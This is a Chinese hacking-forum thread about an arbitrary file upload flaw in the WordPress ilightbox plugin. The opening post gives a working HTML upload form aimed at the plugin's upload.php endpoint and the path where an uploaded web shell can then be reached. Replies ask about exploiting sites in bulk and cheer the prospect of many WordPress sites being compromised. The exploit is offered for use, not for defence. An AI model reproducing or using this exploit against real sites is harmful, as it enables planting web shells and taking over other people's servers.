WordPress ilightbox Plugin上传漏洞

90_ · 发表于 2015-12-11 23:52:20

Google关键字:

游客，如果您要查看本帖隐藏内容请回复

POC (Exploit code)

[HTML] 纯文本查看 复制代码

<form action="http://localhost/wordpress/wp-content/plugins/ilightbox/lib/upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="qqfile">
<input type="submit" value="Upload">
</form>

shell

[HTML] 纯文本查看 复制代码

http://localhost/wordpress/wp-content/uploads//2015/12/shell.name

浮尘 · 发表于 2015-12-11 23:58:16

能批量拿么？

无情疯子 · 发表于 2015-12-12 00:12:35

目测一大批WordPress挂掉

飘零 · 发表于 2015-12-12 00:26:55

快不快快不快

求勾搭 · 发表于 2015-12-12 01:51:36

不错不错

m7lrv · 发表于 2015-12-12 11:19:03

看看用户量大不大，膜拜大神

qazwsx · 发表于 2015-12-12 11:52:27

WordPress ilightbox Plugin
果然叼

jus4fun · 发表于 2015-12-12 13:32:13

新人报到。不知道我WORDPRESS设置了不被搜索引擎发现能不能在谷歌上搜到

admia · 发表于 2015-12-12 19:30:34

这样不好吧

wuyan · 发表于 2015-12-12 19:48:54

学习学习

WordPress ilightbox Plugin上传漏洞

相关帖子

评分

指导单位

旗下站点

联系我们